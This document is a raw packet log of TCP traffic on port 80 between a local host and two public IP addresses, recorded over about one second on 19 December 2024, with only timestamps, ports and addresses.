Dec 19, 2024 14:10:48.062274933 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.062521935 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.216903925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.217036963 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.217205048 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.220911026 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.221072912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.221282005 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.228831053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.228960991 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.229201078 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.236818075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.236912012 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.237224102 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.244781971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.244863987 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.245008945 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.252691031 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.252790928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.252918959 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.260586023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.260677099 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.260778904 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.268506050 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.268687010 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.268769026 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.276458979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.276576996 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.277501106 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.284429073 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.284437895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.284595013 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.293044090 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.293102026 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.293448925 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.300333023 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.300411940 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.300636053 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.337538958 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337590933 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.337629080 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337667942 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.337759972 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337858915 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337867975 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337928057 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337933064 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.337937117 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337945938 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.337968111 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.338027954 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.338135958 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.338143110 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.338180065 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.457159042 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.457243919 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.457263947 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.457324982 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.461431980 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.461508989 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.461518049 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.461574078 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.499809027 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.500016928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.500133991 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.502886057 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.503931999 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.503994942 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.504023075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.509766102 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.509824991 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.509862900 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.515863895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.515873909 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.515924931 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.521672964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.521732092 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.521770954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.527683973 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.527770996 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.527816057 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.529988050 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.530092955 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.530344963 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.533620119 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.533669949 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.533732891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.534162998 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.534208059 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.534302950 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.534439087 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.539639950 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.539729118 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.539843082 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.542804003 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.542869091 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.542897940 CET	80	49859	31.41.244.11	192.168.2.4
Dec 19, 2024 14:10:48.542934895 CET	49859	80	192.168.2.4	31.41.244.11
Dec 19, 2024 14:10:48.545609951 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.545695066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.545706034 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.551525116 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.551614046 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.551646948 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.557554007 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.557626963 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.557677984 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.563518047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.563595057 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.563631058 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.569468021 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.569545031 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.569576979 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.575458050 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.575563908 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.575570107 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.581393003 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.581482887 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.581576109 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.588826895 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.588905096 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.589162111 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.593303919 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.593429089 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.647470951 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.647525072 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.647612095 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.650410891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.650453091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.650813103 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.655049086 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.655158997 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.655235052 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.660967112 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.691951990 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.692034006 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.692044973 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.694590092 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.694627047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.694679976 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.699539900 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.699594975 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.701419115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.701428890 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.701481104 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.706474066 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.706528902 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.706604004 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.783235073 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.783247948 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.783338070 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.784674883 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.784797907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.784845114 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.787811041 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.787909985 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.787993908 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.790942907 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.791066885 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.791120052 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.793998957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.794187069 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.794255972 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.797144890 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.797256947 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.797354937 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.800240040 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.800383091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.800633907 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.803375006 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.803483963 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.803531885 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.806480885 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.806596041 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.806672096 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.809588909 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.809725046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.809890985 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.812685966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.812750101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.812902927 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.815805912 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.815932035 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.816042900 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.818903923 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.819030046 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.819118023 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.822096109 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.822202921 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.822309971 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.825175047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.825311899 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.825459003 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.828408957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.828428030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.828579903 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.831356049 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.831491947 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.831583977 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.834556103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.834649086 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.834980965 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.837567091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.837677956 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.837774038 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.840684891 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.840780020 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.840866089 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.843848944 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.843933105 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.844151020 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.846945047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.847028971 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.847183943 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.850127935 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.850225925 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.850367069 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.853313923 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.853441954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.853594065 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.856796980 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.856964111 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.857045889 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.859608889 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.859663010 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.859719992 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.862448931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.862632990 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.862683058 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.865560055 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.865763903 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.865982056 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.868822098 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.868930101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.869045973 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.872169018 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.903337955 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.903356075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.903392076 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.904874086 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.905023098 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.905038118 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.907974005 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.908026934 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.908178091 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.910985947 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.911046028 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.911109924 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.914024115 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.914082050 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.914258957 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.917351007 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.917423964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.917429924 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.920362949 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.920371056 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.920433044 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.923356056 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.923440933 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.923475981 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.926450014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.926544905 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.975153923 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.975266933 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.975336075 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.975788116 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.975933075 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.975994110 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.977926970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.978053093 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.978142023 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.980127096 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.980218887 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.980283976 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.982297897 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.982420921 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.982578993 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.984321117 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.984435081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.984487057 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.986376047 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.986483097 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.986579895 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.988430977 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.988460064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.988511086 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.990448952 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.990593910 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.990700960 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:48.992480993 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.992577076 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:48.992657900 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.071829081 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.071887970 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.071928024 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.072519064 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.072666883 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.072707891 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.073882103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.073956966 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.074001074 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.075251102 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.075367928 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.075407982 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.076598883 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.076745987 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.076793909 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.078017950 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.078116894 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.078156948 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.079423904 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.079530954 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.079571962 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.080909014 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.081010103 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.081048965 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.082357883 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.082396030 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.082432985 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.083658934 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.083786011 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.083837986 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.085024118 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.085128069 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.085171938 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.086486101 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.086626053 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.086673975 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.087826967 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.087954044 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.088001013 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.089229107 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.089309931 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.089359045 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.090590000 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.090703964 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.090742111 CET	49856	80	192.168.2.4	176.53.146.212
Dec 19, 2024 14:10:49.092102051 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.092127085 CET	80	49856	176.53.146.212	192.168.2.4
Dec 19, 2024 14:10:49.092160940 CET	49856	80	192.168.2.4	176.53.146.212
